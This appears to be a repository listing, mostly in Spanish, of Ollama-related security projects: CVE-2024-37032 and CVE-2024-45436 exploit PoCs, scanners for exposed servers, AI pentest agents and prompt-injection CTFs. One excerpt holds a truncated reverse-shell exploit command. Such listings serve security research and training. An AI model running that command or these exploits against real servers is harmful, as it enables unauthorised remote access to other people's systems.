CVE-2024-37032-PoC

CVE-2024-37032 Probllama PoC — Ollama Path Traversal y Escalada de Privilegios Este repositorio contiene un servidor de registro FastAPI de prueba de concepto, un script de conexión y una biblioteca de demostración de precarga para pruebas de laboratorio autorizadas. Úselo solo en sistemas que...

METATRON

METATRON Asistente de pruebas de penetración impulsado por IA que usa un LLM local en Linux Parrot OS 🔱 METATRON Asistente de Pruebas de Penetración Impulsado por IA 📌 ¿Qué es Metatron? Metatron es un asistente de pruebas de penetración basado en CLI que se ejecuta completamente en tu máquina...

AI-Vulnerabilities-Playground

AIVP Parque de Vulnerabilidades de IA AIVP es una plataforma práctica de laboratorio de seguridad de IA que abarca 4 fases y más de 50 laboratorios actualmente más de 50 escenarios en todo el código base. Combina Ollama + Llama 3.1 , un backend FastAPI y un frontend React/Vite para que los...

Samuraizer

Samuraizer — Motor de Base de Conocimientos de Ciberseguridad NotebookLM con esteroides — diseñado específicamente para investigadores de seguridad. 💡 ¿Por qué Samuraizer? Todo investigador de seguridad conoce esa sensación — encuentras un repositorio interesante en GitHub, un artículo fresco sob...

AMBER-ICI

AMBER ICI v5 AMBER ICI AMBER Investigative Command Interface is a local-first browser interface for investigative and analytical workflows powered by a local Ollama server. It includes: A single-model Analyst Console and multi-model Parallel execution A user-defined agent chain driven from the ma...

DVAP

DVAP - Damn Vulnerable AI Platform Entrena. Rompe. Defiende. Sistemas de IA. Una plataforma de código abierto para formación en seguridad de IA, red/blue teaming, CTF, benchmarking e investigación. Se ejecuta 100% localmente. Sin nube, sin APIs de pago, ningún dato sale de tu máquina. Requisitos...

hermes-osint

Hermes OSINT v3.0 🏛️🧠 El Analista OSINT Agentic Investigaciones impulsadas por IA conversacional. Lenguaje natural. Resultados expertos. 🤖✨ Novedades en v3.0 🎉️ Hermes 3.0 representa un cambio de paradigma completo: de la orquestación de herramientas basada en pipelines a una plataforma de...

oneiromancer

oneiromancer "Una gran fracción de los defectos en el desarrollo de software se deben a que los programadores no comprenden completamente todos los estados posibles en los que su código puede ejecutarse." -- John Carmack "¿Puede ejecutar Doom?" -- https://canitrundoom.org/ Oneiromancer es un...

attack-stix-data

ATT&CK® STIX Data MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and ...

phantom-brain

PHANTOM BRAIN v0.9 ⚠️ Proyecto experimental — no para uso en producción. El análisis con IA asiste al investigador humano; no reemplaza una auditoría manual. Siempre verifica los hallazgos de forma independiente. Lo que ES y NO ES Phantom Brain ✅ Lo que ES| ❌ Lo que NO ES ---|--- Analizador...

OllamaHound

OllamaHound Kit modular para descubrir servidores Ollama expuestos, identificar versiones y validar acceso a modelos. OllamaHound es un kit modular orientado a RedTeam para descubrir servidores Ollama expuestos públicamente , identificar versiones, clasificar exposición a CVE , validar si es...

PwnzzAI

🍕 Bienvenido a PwnzzAI/pəʊnzɑː/ Shop – ¡La Pizzería Vulnerable! 💻 En PwnzzAI Shop, cada rebanada ofrece una dosis de instrucción holística de seguridad en IA. Esta plataforma práctica de aprendizaje prepara a los profesionales para comprender la protección de las tecnologías de IA en general ,...

Moxy

Moxy Moxy Next-Gen Man in the middle proxy Open-source DAST tool for pentesting powered by agentic AI capabilities Supporting Ollama. Built on top of browser-use, Moxy streamlines dynamic application security testing. 🚀 INSANELY EASY TO USE And it's free, who doesn't like free stuff? Preview Aler...

airecon

Agente autónomo de pruebas de penetración impulsado por IA -orange.svg AIRecon es un agente autónomo de pruebas de penetración que combina un LLM de Ollama autoalojado con un sandbox Docker de Kali Linux , integración nativa con el proxy Caido , un pipeline estructurado RECON → ANALYSIS → EXPLOIT...

CVE-2024-37032-scanner

Escáner CVE-2024-37032 Escanea una subred completa en busca de versiones vulnerables de Ollama. Si es un solo host, usa X.X.X.X/32...

CVE-2024-45436

Exploit de Ollama CVE-2024-45436 Una implementación de exploit limpia y eficiente para la vulnerabilidad de recorrido ZIP de Ollama CVE-2024-45436. Documentación en chino: READMECN.md Descripción de la vulnerabilidad CVE-2024-45436 es una vulnerabilidad de recorrido de rutas también conocida como...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 y CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Debe ejecutarse en Linux, el entorno necesita tener gcc. Instale golang y ejecute el siguiente comando para obtener una shell reversa: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...

smartmap

Godview Godview es un mapa basado enteramente en LLMs Large Language Models y OSM Open Street Map. Utiliza Anthropic, DeepSeek u Open AI. Godview también se ejecuta localmente con Ollama. Sitio web: godview.ai Instalación Clonar el repositorio git clone https://github.com/space0blaster/godview.gi...

ai-ctf

ai-ctf A local AI Capture-the-Flag with guided lessons for technologists new to prompt injection. Players can also explore six AI personas one hidden that protect 20 flags via prompt-injection, tool-call abuse, business-logic manipulation, supply-chain fingerprinting, web recon, and OSINT. The...

ai-kubernetes-helm-chart-security

AI on Kubernetes: Helm chart security defaults evidence This repository holds the data and evidence behind the Sorami technical report "AI on Kubernetes: 10 of 14 Helm charts ship with no API auth" version 1.2. Read the report here: https://sorami.com.au/research/ai-kubernetes-helm-chart-security...